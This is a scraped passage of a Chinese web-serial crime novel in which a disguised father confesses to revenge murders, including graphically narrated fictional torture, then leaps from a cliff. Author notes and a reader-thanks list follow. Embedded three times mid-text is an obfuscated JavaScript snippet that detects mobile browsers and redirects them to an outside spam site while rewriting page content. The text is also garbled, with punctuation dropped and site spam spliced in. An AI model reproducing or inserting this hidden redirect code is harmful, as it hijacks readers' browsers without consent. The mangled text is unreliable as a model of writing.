付宗源亦不退让,“他们两个一个体弱多病,一个侏儒废物,这么多人一拥而上柳元嘉难道会死吗?对峙这么久了!还不拿人是想干什么?! “付宗源! 裴晏还未发话,他二人先争执起来,裴晏余光扫过二人,反不着急,他只问道:“陶——不,不应该叫你陶景华了,你挟持人质是想如何? “在下范林,这是我妻宋萍儿—— 假扮陶景华的范林沉沉开口,似乎也并不着急,“我和我妻是为长佑报仇而来,事已至此,我们想的自然是平安脱身。 “你们休想!你们夫妻二人歹毒狠辣,连害了四人,哦不,五人,你们害了这么多人,还想脱身?!做梦去吧—— 付宗源大怒,怒吼之声响彻山林,范林冷笑,“我二人歹毒狠辣?你付怀瑾四人虐杀我长佑之时,你可觉他们歹毒狠辣?!你知道你儿子怎么死的吗?我给他下了不足量的毒,我从顶板上跃下之时,他浑身发软,口舌不清,可他看到我却忽然意识到了什么,我猜,他是想到了东方嘉树,想 到了魏青杨,他知道自己总有这一日,他活不久了,他堂堂侍郎公子,竟开始跪下求我—— “你住嘴,你这畜牲—— 付宗源几近溃败,抬步就要往前冲去,柳明程眼疾手快,一把将其拉住,跟来的柳家仆从亦飞扑而至将付宗源挟制住,付宗源低吼两声,却挣扎不得,待看向裴晏,却见裴晏并没有制止范林的打算,他恨红了眼,却只能在原地悲号。 范林舒爽地看着这一幕,又道:“当初四人皆以他马首是瞻,那我自然要好好招待他,我问他,那时谁为主犯,你猜他说的是谁?他说是袁焱—— 袁兴武眉头紧皱,却不似付宗源那般喝止,范林目光一扫而过,又继续道:“他把自己摘得干干净净,甚至跪在我面前,用脸贴我的鞋面,像狗一样!好啊,原来你们这些达官贵胄在生死之时和猪狗也没有区别,所以我把他吊了起来! “你住口!你这下地狱的畜牲! “我把他像猪狗一样倒吊起来,只在他脖颈上捅一个细小的口子,他的脏血便源源不断地流出来,他很害怕,他知道接下来会发生什么,因为当初,他们这些猪狗不如的东西,就是这样害死我的长佑—— 范林的语气陡然凌厉,“他们戳瞎他的双眼,在他面上刻字,放他的血,断他的腿,这些畜牲不如的东西,当然要用比猪狗还惨的法子受死,我不仅放他的血,我还剜了他的眼睛断了他的筋脉,他叫的好惨啊—— 付宗源骂哑了嗓子,人亦痛吼着瘫跪在地,范林爽气地道:“后来,我把他的尸骨剁的比猪肉块儿还小,他的五脏肠肚简直比畜牲的还要臭不可闻!本来,你这朝之蠹虫也是要死的,但可惜了,可惜她们来的太快—— 范林兀自叱骂,袁兴武这时问:“你是如何把袁焱骗去校场的? “谁让他做贼心虚呢?忽然,假扮云嫂的宋萍儿冷冰冰的开了口。 她不再堆着满脸的示好赔笑,深陷的眼窝显得她的目光格外阴鸷,“付怀瑾死了,最害怕的便是他,只需要告诉他我们已经知道了凶手是谁,他明知出了书院便是冒险,也忍不住前来受死…… 裴晏这时问道:“是范林布置的机关?陶景华真有此人? “自然,薛姑娘猜得不错,我正是跟着杂耍班 子跑江湖的苦力伎人,开弓举鼎于我而言不过是吃饭喝水一样简单,至于陶景华,麻州确有此人,当年长佑出事之时,我正跟着杂耍板子在麻州演武,当地有一户陶姓员外请我们演了三日,这陶景华是他的小孙儿,今年也正是十三岁。” “麻州千里之遥,我此来本只打算留一月,也不怕露出破绽,可没想到,书院人多眼杂,那付怀瑾更是胆小如鼠,我根本找不到机会,直到二月中书院鼠患未平,我们顶板之上动静不小,为了除鼠,我曾钻入了顶上隔断之中,也是在那时,我发现那顶板间隙虽窄,可其上有两层,第二层足够一人匍匐同行——” 事到如今,范林已经无需遮掩,方青晔听得瞠目,“学舍楼年久,这些年的确大修补过两次,但我也不知顶板之上竟然有两层!” 裴晏这时又问:“那为何你与宋氏入书院时辰不一样?” 范林闻言苦笑一瞬,“我们夫妻在去年年初便来了长安,可那时我们才知道他们已经来了白鹭山书院,我们苦守了数日,最终决定来书院报仇。我身量有异,不可能冒充杂役,且杂役,又如何贴身接触这些学生呢?于是,我打算继续扮少年。” “从前我行走江湖,只需假扮天生神力的孩子便可,可如今,却是要假扮在府学念过书的学子,我一个粗人,认得字不到百个,哪里能扮学子?于是我在檀州寻了个老先生苦学了半年,再加上我二人若是同来出事后极可能引人怀疑,又需要一人前来摸清状况,如此,她便比我早了半年来此——” 范林说完,众人无不咋舌,贺炳志便诧异道:“我们只觉你学识一般,却是一点儿也没看出来你是现学的,难怪范长佑禀赋极佳!” 范林闻言不知做何感想,只幽幽道:“贫苦人家出生,能把长佑送进府学,唯一个‘勤’字罢了,这半年我苦学之后,也闻先生说我资质尚佳,但……但莫要说我年纪已经过了而立,便是当年,家里又哪里能让我这样的侏儒之人读书呢?!” 说至此范林不知想到什么,语声一厉道:“我是苦命人就罢了,我妻也是苦命人,我二人皆是贫家出身,她虽是女子,却也因身量矮小、体弱多病为家中嫌恶,但她不嫌我患侏儒之症,早年下嫁于我。我们二人和美勤劳,日子也勉强能过,后来我们有了长佑,我多怕他和我 一样又是畸形之人等他十岁便和我一样高时我和我妻高兴的痛哭不止我们拼了命把最好的给他把他送进府学为了让他不被笑话我自小极少与他一同在外露面可我怎么也没想到我们夫妻的命根子我们呕心沥血养大的骨肉就因为出身贫家学问太好就被这群猪狗不如的东西那般残忍的害死了——” 范林语声痛楚字字泣血在场众人唯独姜离也同样身负血仇她落在身侧的拳头紧攥面上也生出不忍。 宋萍儿目光落在姜离身上这时哑声道:“薛姑娘是你发现了我们如何报仇但你放心我不恨你就凭你为我治病我也不恨你我们夫妻本是本本分分的农家人我们也不想如此可你大抵不明白长佑那孩子多么好他自小到大没有害过任何人可他、他的遗体被送回来的时候身上没有一处是好的你不明白你不明白我这做母亲的心有多痛我宁愿被折磨死的人是我——” 裴晏看姜离一眼 范林冷嗤道:“便是个傻子也知道长佑死的古怪他叔父虽收了银子可一回老家便道明了内情我归家后知道了前后经国立刻明白是付怀瑾害死了范长佑他叔父把银两全部给了我们夫妻我们变卖了老家的田产就此上了路先去麟州书院打探了消息当时事情很大总有些风言风语传出前后一想便也明白了经过彬州毕竟更近于是我们先去了彬州……” “那两家是彬州豪族我们无法近身报仇便只能暗中寻找时机魏青杨素爱打猎我们便潜入了魏家猎场寻找机会东方嘉树平日里前呼后拥我们便在他必经之路上候着只要耐心足够总是能被我们找到机会!” 范林说完正佐证了那“母子”之言而魏青杨之案中也曾有少年上山采药此刻想来官府说的少年正是范林只是实在无人想到范长佑的父亲患有这般古怪病症。 顿了顿他又道:“魏青杨死在山坡下我们没有机会盘问可那东方嘉树死之前我们却原原本本地知道了长佑死的经过——” 他想到当日听闻语声又再度轻颤起来这时林牧之听了许久忍不住道:“范长佑是如何死的?那笛曲你们是怎么学会的?” 他不问还好这般一问范林冷 厉的目光落在了他的身上,“林牧之……你一定在想,你也是无辜的,我们为何连你也不放过吧,当年你离开麟州书院之前,曾有一长松县的老者上门求见你可还记得? 林牧之一愣,“你是说—— 范林咬牙道:“没错,就是我们,我们不敢表明身份,便只提了长松县三字,我们本来以为你一听这三字一定会见我们,可没想到,你一听这三字便避如洪水猛兽,便如同长佑出事的时候,你见死不救—— 林牧之面白如纸,“我、我没有—— “你没有?! 林牧之呼吸都凌乱起来,“不,我没有,我那时醉了,我不知道…… “你休要狡辩!范林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340185|108220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语声更为凄厉,“长佑素来报喜不报忧,他给我们的家书之中,只提过你一个人的名字,他视你如师如长,独信你一人,但你……但你根本没想想过给他求一点儿公道,你送他的曲谱,他当做至宝收在箱笼之中,若非如此,我们又怎能会这段曲子?可你这样的人,根本不配…… 林牧之眼眶通红,面上亦是愧责难当,“我求过……我……我只是无能为力,我也……我是懦弱之人,我不配…… 他哽咽着语不成句,范林握刀的手也颤抖起来,他视线扫过众人,带着宋萍儿往后退了两步,柳明程见状立刻道:“慢着!范林,冤有头债有主,你该报的仇也报了,元嘉与你无冤无仇的,他也是我独子,他也没有害过任何人,你为何如此待他? “我总得选一个能掣肘你们的人吧?若是选个贫家学子,只怕你们此刻已顾不得他的死活了,并且,柳侯爷,你这位公子当真没害过人吗? 范林反问一句,直令柳明程愣了住,而对面,柴刀的刀尖刺入柳元嘉后背之中,他满头大汗地痛呼道:“父亲不要妄动,他要走就 让他走吧——” “休想走!裴鹤臣!你还在等什么!你堂堂大理寺少卿,今日若放跑了这对杀人犯,我一定要在御前击鼓鸣冤——” 付宗源怒吼起来,柳明程忙道:“不要妄动!元嘉说得对先不要妄动!” 他殷切近前,“范林,范老爷,范大人,我就这么一个独子,你也明白白发人送黑发人之苦,我求你,你要什么我都给你——” 付宗源闻言忙道:“休要放走她们,袁兴武,你不给袁焱报仇了吗?!” 袁兴武眯起眸子,手一挥,身后随从四人一左一右地朝范林二人包了过去,范林见状,刀尖更深地抵在柳元嘉背脊,后退的脚步亦快了不少,姜离看向几人后方,不知想到了什么,目光始终落在那片荆棘之上。 范林和宋萍儿瞧见她所看,目光簇闪几下后,也往那荆棘处退去,“我劝你们别动,否则柳世子就是下一个袁焱——” 柳明程连忙伸手拦住众人,而所有人见他渐渐退往崖边,还有满是尖刺的荆棘拦阻,便也放缓了攻势,柳明程心急如焚,又转身道:“范林,有什么都好商量,别退了,你二人乃是为了亲子报仇,乃是有情可原,我、我为你们向圣上求情!” 眼看着三人退到了荆棘旁,甚至那尖刺都抵在了三人身上,范林用柴刀挟制着柳元嘉,宋萍儿则用柴刀挥砍起来,不过片刻,荆棘丛出现了一个豁口,范林一把揪住柳元嘉继续往后退去,他高挺的身形直直撞在荆棘之上,直扎的他满头是血痛呼连连。 柳明程心疼不已,更苦苦哀求起来。 范林身形已隐在荆棘丛中,冷嗤道:“我们杀的一个是侍郎公子,一个是将军府公子,另外二人也出身豪门大族,你以为我们会信你的鬼话吗?事到如今长佑大仇已报,我们夫妻二人便是葬身青山绿水之间,也绝不会落入你们这些衣冠禽兽手中!!” 听着这话,众人皆是大惊,裴晏亦上前一步,“范林——” 话音落下,便听范林长笑一声,又猛地将柳元嘉往前一推! 众人只见柳元嘉一个踉跄跌入荆棘丛中,而那荆棘之后的黑暗之中,有人影往山崖之下一跃而下,一众武卫连忙腾跃前冲,正要越过荆棘丛时,面对那黑灯瞎火、山风呼啸的无底深渊,又纷纷一个鹞子翻身跃了回来 ! 十安也驻足在荆棘丛前,他立刻看向裴晏,“公子? 鹅小说全网首发无弹窗免费阅读qiexs▃(请来企 鹅小说 看最新章节 完整章节) 话音一落,其他家仆也都看向裴晏,袁兴武视线在他和方青晔之间来回,冷静问道:“这崖下情形如何? 付宗源也没想到范林夫妻宁愿跳崖也不束手就擒,立刻吼道:“休想如此轻巧!活要见人死要见尸,快!快去寻那两个畜牲啊!! 付宗源的怒吼令裴晏眉心皱起,望着那黑洞洞的荆棘豁口,他语声铮铮道:“此断崖之下乃是万丈深渊,深夜下崖必死无疑,付大人说得对,生要见人,我这就派人连夜去山下崖底寻他们。 一言落定,他飞快地与姜离对视一眼,虽只是蜻蜓点水般一触即分,姜离僵紧的背脊却松活下来,她看向满身是血被柳家人和高晖救出来的柳元嘉,连忙上前道:“这荆棘有毒!快把柳氏子送回书院医治—— 作者有话要说 这案差不多就是生不见人死不见尸的开放式结尾了哦~ · 然后宫廷世家背景写疲了,下本会开江湖探案《明月渡剑》~ 在app书评区下方就可收藏~ 江湖武侠太冷了求多多预收宝贝们~暂定版文案如下~ ——文案——— 天圣十七年,江湖第一高手程壁月勾结魔教,叛出师门,引发一场武林浩劫。 幸而六大派拼死一搏,终是邪不胜正。 魔教大败,叛徒程壁月死于乱箭穿心,后被枭首示众,挫骨扬灰,算解了武林人心头之恨。 七年后,魔教余孽殆尽,江湖欣欣向荣。 可一片春和景明间,号“赤衣傀仙的妖女薛婵横空出世。 她红裙烈烈,操银线鬼针,纵活人傀儡,三日屠四帮,令武林各派如临大敌。 很快,大家发现恐怖的事还有三件: 1、薛婵虽只会傀儡术,但她通晓百家武学,难寻破绽。 2、薛婵身边伴有一剑法高绝的傀儡剑客,此人白衫银发,与武林少盟主谢雪濯极为相似。 3、仔细一看,那不特么就是谢雪濯?! 武林众人:……这还怎么玩啊!!!!!! 天才陨落妖女傀儡师X正道之光剑仙少盟主 1,悬疑探案/江湖武侠/复仇虐渣 第 165 章 神志不清 第165章神志不清 “去找!都去找!一定要把他们都找到!” 所有人自石刻崖撤回书院之中,见裴晏令十安带着人马趁夜下山,付宗源又在旁大喊起来,他瘫坐在敞椅上,面色青白,眼底血丝满布,气息也甚不稳,看起来像随时能栽倒在地似的,但即便如此,仍驱使唯一的付家家仆一道下山。 裴晏守在柳元嘉身边未曾搭话,方青晔安抚道:“付大人,我瞧你这情形也不太好,有大理寺的武卫和袁家的武卫下山找,你就不必担心了——” 他说着又道,“这山崖因多年前有学生坠崖而亡,已是书院禁地,若没记错,这山崖有百丈之高,崖底的山坳之中有沼泽溪流,就算是武功高强的江湖中人这般跳下去也难活命,更别说他们两个不会武艺的了,那范林虽有些身手,可到底只是个杂耍艺人……” 说完这些,想到适才二人的控诉,方青晔心底又生出几分悲悯来,“他们宁愿自杀也不愿被官府拿住,足见是铁了心求死,如果当初……” 说至此他话头一断,看了一眼付宗源和袁兴武,唏嘘道:“也算求人得仁罢。” 付宗源并无疾病在身,这般模样,不过是因为悲怒攻心,此刻他仍恨的眼眶赤红,又有气无力道:“求仁得仁?!怎么可以让他们这般轻易求死?!求死是最简单的事了!哪怕是尸体也得寻到,届时我定然让他们难得善终!” 方青晔听得直皱眉,正欲言又止时,一旁的袁兴武开了口:“敏德,事到如今不若想想你往后该如何是好吧,死者已逝,活着的人总要继续活下去。” 付宗源一愣,看向袁兴武的眼神都带上了恨意,“济苍兄,袁焱到底不是你的亲生之子,如果今日死的是袁航,你还能如此冷静吗?” 此言一出一旁的袁航也面生恼色,袁兴武不快道:“敏德,事已至此,你就算不甘心也没别的法子了,你若非不听劝,那你也只能自求多福了。” 这话似一盆冷水当头浇下,付宗源这才冷静了两分,想到独子惨死,自己也将面临牢狱之灾,他心底生出一股子悲凉,背脊都佝偻了下来。 众人是在听泉轩柳明程厢房中说话,一扇屏风相隔的寝榻之上,柳元嘉正痛得龇牙咧嘴,柳明程 心急如焚,“薛姑娘,怎么样啊?” 柳元嘉身上血点不少,此刻迷迷糊糊地哀呼着,姜离一边请脉一边道:“毒刺虽已拔出,但那荆棘丛中有一种名为毒旋花的棘刺,此棘刺剧毒,被轻轻扎上三四下毒性便可入血脉,因此,今晚世子或许会有头痛呕吐、神志不清说胡话之状。但好在中毒时短,我开一副药,今夜和明天用上三次便可解毒,棘刺的伤口自行愈合便好,手臂和后腰处的伤口上药包扎也无大碍,范林并无至他于死地之意。” 柳明程闻言长松一口气,“那就好那就好,真是多谢贤侄女了。” 裴晏这时近前来,“柳元嘉为何会和范林二人出去北门?” 柳明程拧眉道:“我也不知,元嘉应该是在学舍楼上遇见范林的。” “大人,在下知道——” 柳明程话音落定,贺炳志在外高声答话。 裴晏转出屏风来,“怎么回事?” 贺炳志道:“我们下午搬完校场之物后都上了楼,唯独陶……唯独范林晚了一步,他去了厨房方向,后来没多久他先是回了一趟学舍在床头翻找了什么,而后便出门去找柳元嘉了,我们是看着他二人一起下楼的——” 虞梓谦也道:“不错,当时我们在外廊清查死鼠,范林是绕过我们直奔元嘉的屋子,他和元嘉关系并不亲近,我们还多看了两眼,但很快,便见元嘉面色古怪地跟他出了门,我们觉得奇怪,但也不曾多想。” 一众学子经适才那一场对峙,这会儿面上仍有惊悸,胡修文瑟瑟道:“他在床头多半是拿了准备逃命用的路引和银子,只是没想到大人发现的快他没跑成,哎,难怪当初他要撺掇我们通宵温书,事发那天晚上我们睡得极死。” 一听此言,付宗源又道:“他们二人骗了你们这么多人?方院监,你也毫无察觉?你们书院是如何审那些官凭荐信的?!” 他余怒未消,但经范林一番陈情,众人对他已无同情之心,见他如此理直气壮,不少出身寒微的学子更是面露鄙薄。 方青晔也怅然道:“付大人,书院确有过失,可范林为了给范长佑报仇能自己苦学半年,有这样的狠心蒙骗众人又有何难?” 不等付宗源反驳,他又看向贺炳志几人,“范林和柳元嘉平日里可有私交?” 贺炳志往屋内瞥了一眼,“自然是没有的。 方青晔看向裴晏,“那柳元嘉怎么会和他出北门呢?这么晚了,二人又无私交,便是哄骗,只怕都不好找借口,范林要找一个身份贵重些的可以理解,但柳元嘉怎就这般轻易地跟他出去了? 裴晏沉吟一瞬,“范林或许知道什么…… “公子!顶板之上果然有古怪—— 随着话音,九思从外快步而来,他肩背和发顶沾了些灰尘,手中拿着一套染血的衣物示意道:“我们打开了最南端屋子的顶板,搜到了沾血的衣袍和两个水囊,这衣袍里衬绣有福字,而水囊的木嘴都被取下,开口是一圈牛皮褶皱,能大能小,里头还有干结的血迹,案发当夜,范林应是用这水囊送血,小人适才还问了和宋萍儿住在一处的另一位厨娘,她说二十八雨夜那晚,她睡得昏昏沉沉不知时辰,只怕宋萍儿也用过毒。 裴晏接过水囊在手,本是看囊内血迹,可望着那取掉木嘴的牛皮开口,他面色倏地一变,“这水囊—— 九思迟疑道:“怎么了公子?那顶板之上太过狭窄,小人钻不进去,若要再往里头找,便只能撬开顶板了。 方青晔看向一旁的张穗儿,道:“让穗儿试试? 九思犹豫道:“只怕他会害怕,那顶板逼仄,从南端爬到北端少说二十多丈距离,便是小人半个身子钻进去都逼仄压抑的紧,气都喘不上来,也不知那范林如何爬那么远的。 张穗儿闻言却道,“我来试!我不怕!但要给我个火折子。 九思大喜过望,“那太好了,就不用撬开所有顶板了,走,反正白日那里头也是黑的,我们现在就去试—— 张穗儿应好,裴晏将水囊递回去,“虽然他们已经认罪,但证物需得齐全。 九思颔首,“小人明白,公子放心便是。 他说完带着张穗儿离去,裴晏望着门外黑沉沉的夜色陷入了沉思,屏风之后,姜离写下一张药方递给柳明程,“侯爷,按这个方子用药,都是常见的药,书院药房之中便有,今夜用两次,明日等他醒来再用一次。 柳明程欣然应好,快速扫过药方后先将其交给亲随取药,又回身至床边喊道:“元嘉?你眼下如何了?可认得出父亲? 柳元嘉双眼虚闭喉间发出轻微的痛哼闻言他费力地睁了睁眼睛但很快又虚虚闭了上柳明程只见他唇间微动却听不清他在说什么。 姜离道:“他中了毒又受了惊喜昏睡反而是好事侯爷不必担心。” 柳明程挤出一丝苦笑“元嘉心性纯良那范林也是看准了他好骗这可真是无妄之灾了有贤侄女在此我确实不必担心。” 一旁高从章也起身道:“还是惊险了些若是那范林再丧心病狂些把元嘉也拉下去那可真是神仙难救那山崖一看便十分险峻。” “救、救我——” 几人正说着话半昏半醒的柳元嘉忽然喊叫起来柳明程吓了一跳忙倾身道:“元嘉别怕你已经得救了已经没事了!” 姜离上前道:“是毒发了等用了药就没事了。” 柳明程还是颇为担心忙催促侍从道:“快去催催药——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340186|108220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侍从应声而去柳明程长叹两声又看向满屋子人道:“时辰不早了元嘉既无大碍就不影响诸位歇息了今夜大家都受了惊吓都回去歇着吧。” 这便是要送客了方青晔也是此意随即要送其他人回房见一行人陆陆续续退出厢房柳明程看着柳元嘉轻颤的唇角道:“贤侄女汤液见效可快?我知道你极善针灸如今施针可能解毒?” 姜离摇头“施针难解毒但……可用针刺放血之法逼出些许毒血再加上用药应该能解的快些。” 柳明程立刻道:“那就施针吧这毒看着极烈还是越快越好。” 姜离闻言只好让怀夕往幽篁馆取针囊等候的功夫柳明程见柳元嘉唇角干裂的厉害又去屏风之外为柳元嘉斟茶裴晏正侯在门口见状近前道:“敢问侯爷柳元嘉这几日可与你提过‘陶景华’之名?” 柳明程摇头 他二人在屏风之外说着话锦榻之上柳元嘉落在身侧的双手却忽然抽搐起来姜离见状立刻上前按住其手腕的同时只听柳元嘉又恐惧地开了口—— “少……救我……” “我、我不想跌断腿……” 柳元嘉神志不清多半还以为自己在被挟持求救之言本是寻常可那“断腿”二字却 让姜离一个激灵,而她愣神的功夫,柳元嘉口中之言仍是未断。 他瑟然道:“别、别让我也跌断腿……” 作者有话要说 感谢在2024-08-0723:56:08~2024-08-1423:54:18期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:踏雪寻梅、溪月、foxandcat、小鱼儿、65802407、19024804、温霜降、dabohaze1个; 感谢灌溉营养液的小天使:阿凡~小毛驴~提333瓶;38464409103瓶;玛旁雍错100瓶;4873705582瓶;抹茶抹茶78瓶;2096541266瓶;1060瓶;Gink、Heidi蔷、不加糖也很甜的白敬亭、阿倩想吃芋圆、晚风微微凉50瓶;洋葱头44瓶;anchi、爱看书的未知数、江望、31952245、余生40瓶;XY32瓶;Anne836219、tomatofeifei、冰糖葫芦、不见长安安30瓶;彼稷之喵喵喵26瓶;我就是烟火.、荏苒君小姐25瓶;近海夜未眠24瓶;Lilyair、squidhzz、钱晓萌、蒲公英、胡椒喵呜、清歌谣、唯菀、费沙、一只狮子、annie、乐在其中、我可以不是文盲、溶溶素月20瓶;十一点准时睡觉19瓶;蒜香排骨16瓶;袁溜溜shine15瓶;immortal14瓶;3246233912瓶;风奈、筱玥、63134243、书狂、呼噜噜、camellia、夏夜晚风、茗久久、励志做甜妹、慕雪、秋雨江南、微风徐徐、Mrs欢乐多、有银很好吃、27383951、玩子萌萌哒、森川芋芋子、也无风雨也无晴10瓶;清珩9瓶;apeach、子木8瓶;知多少7瓶;戴珍珠耳环的水镜、泡芙、OvideoFL、西瓜甜不甜、ASRoma6瓶;嘻嘻哈哈、风轻云淡、蘑菇酱、pose、啾啾、温霜降、639902515瓶;37209858、鸢栀cissy、卿酒酒4瓶;55923012、小妖、茉莉3瓶;贰贰叁、49049513、京如若、Chinful、21700696、紫述、哭唧唧、33699808、Amandasdu、我不是会员、Luise、糖芋苗、风景旧曾谙、长乐未央、hilary2瓶;68608008、72479577、瑞瑞虎、晴海mo鱼、包大人、青青子衿、沈小只、亭亭玉立????、我是书迷、73979814、Lulu、书迷一枚1瓶; 非常感谢大家对我的支持,我会继续努力的! 第 166 章 刻意放火 第166章刻意放火 施针完已近子时,柳元嘉昏昏入睡,只偶尔发出一两声模糊呓语,柳明程心疼不已,送姜离出门时也颇为感激,“多亏贤侄女在此,真是多谢你了。” “我是医家,侯爷不必言谢,时辰已晚不必送了。” 姜离客气两句,带着怀夕朝外行去,刚走出听泉轩,姜离停下脚步,面色也倏地冷了下来,怀夕提着医箱,迷惑道:“怎么了姑娘?” 姜离侧身回头,清凌凌的眸子分明被灯火映着,却黑洞洞尽是沉郁,“这个柳元嘉,说起来当年与我和兄长还算同窗——” 怀夕有些莫名,“所以呢?姑娘当年与他可熟悉?” 姜离摇头,“我是女儿家,只与云慈和桐儿几个交好,兄长身患癔疾,也只有虞大哥待他真心,仔细照料,这么多年过去了……” 怀夕还是不解,“您怎么忽然提起了此事?” 姜离死死盯着柳明程的房门,“你说过了这么多年,麟州书院的那些学生与夫子,还记得当年范长佑之事吗?” 怀夕想了想,认真道:“这应要分情况,与范长佑交好者只怕会心有遗憾,想起来都会唏嘘,与范长佑交情不深者,只怕会把他的事当做书院逸闻说给新来的学子夫子们听,至于那些心中有愧有怖之人,只怕平日里是提都不敢提一句,只会在私下里议起,一点儿风吹草动,都能让他们心生恐惧。” 连怀夕都明白的道理,姜离怎可能想不明白? 她秀眸微狭,“裴少卿去了何处?” 怀夕往北面伸脖探看,“应该去了藏书楼吧,适才您施针之时,九思从学舍回来,而后裴大人吩咐了两句,提到了‘藏书楼’三字。” 姜离心下一定先往文华阁去,到了院中,便见上房灯火已灭,西厢中方青晔和张伯正守着,见姜离来了,二人疾步迎出,张伯道:“姑娘放心,按您的交代喂了药,眼下药能喝下去就是人不见醒,有时眼睫轻颤着,仿佛快醒了,可一会儿又没了动静。” 姜离进门给孔昱升请脉,片刻后道:“脉象已稍见好转,看明日是否能醒吧,老先生今日如何?” 张伯叹道:“老先生得知凶手找到,先是松了一口气,后又得知了麟州书院的事 又唏嘘了半晌我们谁也没想到那陶景华竟是那孩子的父亲哎听说他们二人跳崖了老先生用了药也没有多说什么便先歇下了。” 方青晔也道:“叔父活了七十多年见过的人和事极多但若今日这般事端他也是头一次见我告知详情之时生怕他受不住但还算有惊无险地挺过去了如今他也就牵挂孔昱升和藏书楼那场火了适才鹤臣来过说他那火灾已有了线索但具体是什么并未直言。” 姜离心中微动遂起身告辞“既如此我过去瞧瞧。” 走到一半她又回身看向张伯“敢问张伯今日可有人来探望孔昱升?” 张伯颔首“有呀 “只有他们二人?” 张伯道:“胡修文、张庆杰他们也来过不过他在老太爷这里养病有些人怕见老太爷也是不敢来打扰的。” 姜离缓缓点头这才往藏书楼去。- 昨夜一场大火藏书楼白日里只做了初步整饬如今楼上楼下仍是一片狼藉。 姜离走到藏书楼外之时便见裴晏正带着宁珏和九思几人在东窗之外的灰烬堆中翻找着什么姜离徐步近前“发现了什么?” 裴晏道:“我怀疑昨夜他们在火场中找到的铁制之物乃是水囊的囊嘴。” “水囊?!”姜离眼皮一跳又反应极快道:“会不会有人用水囊装能引燃木楼的桐油烈酒之类的东西放火?” 裴晏颔首“我正有此想我已让人去暗查这几日各处的日常用度。” 姜离近前来“孔昱升今夜还是难醒来明日我再为他施针。” 宁珏在旁道:“虽说我们已经有了推断可如今那水囊已经消逝无踪囊嘴也已经烧化了如何能做为证物去指证凶手呢?并且到如今我们还是不解孔昱升为何会被人放火谋害这场火起的迅猛藏书楼又全是木制若非师兄在葛教头一个人多半也不敢冲进去到时候这孔昱升必死无疑。” 姜离道:“孔昱升还未醒若他醒来只怕他自己也能有些猜测。” 宁珏便道:“那便只能看你了柳元嘉如何了?” 提起柳元嘉姜离欲言又止地看了裴晏一瞬道:“那荆棘毒并不致命明日便会见 好。” 宁珏叹了口气,“可惜范林夫妻了,就这么葬身山崖之下了。” 他说着话,不自禁打了个哈欠,裴晏便道:“时辰不早了,你回去歇下吧,你也上山两日了,明天天亮之后,速回长安去。” 宁珏瞥一眼姜离,“别赶我走嘛师兄,薛泠你也累了,不然我送你回去歇着吧,这黑灯瞎火的,要找什么也不易,我看大家忙了一夜,都去歇下好了。” 付怀瑾几人的命案既已得破,裴晏一颗心也松活两分,见满地灰烬脏污,他便也大发慈悲命众人暂且歇着,一番交代之后,几人方往幽篁馆走。 没走两步,宁珏瞅着裴晏肩头道:“师兄,你的伤如何了?” 这么一问姜离也看向裴晏肩头,裴晏定然道:“已无大碍。” 宁珏轻啧一声,“没想到十安真会医术?也不知他们能不能找到范林二人的尸首,非要我说,我倒觉付怀瑾四人死的理所应当,范家一家被他们害惨了,若是我,我也得有仇报仇有怨报怨,这四家子谁都别好过!” 裴晏眉头微肃,端然道:“这里不是江湖上,收收你的性子。” 宁珏轻咳,“我知道我知道,对了,说麟州有那凶神,还有什么拿活人祭祀的说法,这事可要拱卫司去查?” 裴晏道:“今日一早我已派人送信回长安,大理寺会派人去麟州走一趟,快的话大半月便会有消息,若如今还在坊间为祸,只怕便需你们的人南下一趟了。” 宁珏耸耸肩,“我倒没什么,就是那姚璋,从前知道此人厉害,又得陛下爱重,如今同在一个衙门了,才知此人真是半点儿也不好相与,亏得我是宁家人,否则真要被他治的死死的,此前薛泠提过的那家人我们顺着周遭线索查尽了,只在相国寺山脚下的小镇上找到一个给那位程大嫂看过病的庸医,可他硬是不认什么供奉神像的事,我们去的那一天,他还因为差点治死了人被亲属们上门泼闹,也不像是什么邪教之徒。” 提起此事,裴晏与姜离心头又浮起一层阴霾,眼看着到了幽篁馆之外,宁珏道:“师兄,今夜十安不在,你的伤如何办?” 裴晏这时道:“九思帮忙换药便可。” 宁珏还有些担心,姜离却已大步朝西厢而去,宁珏欲言又止一瞬,“不是,师兄,薛 泠怎么看起来不太高兴的样子——” 裴晏苦笑一刹,“许是太累了,你也去歇着吧。” 裴晏说着也往上房而去,宁珏看看裴晏,再看看姜离,不明所以地摇了摇头也自去歇下。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340187|108220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 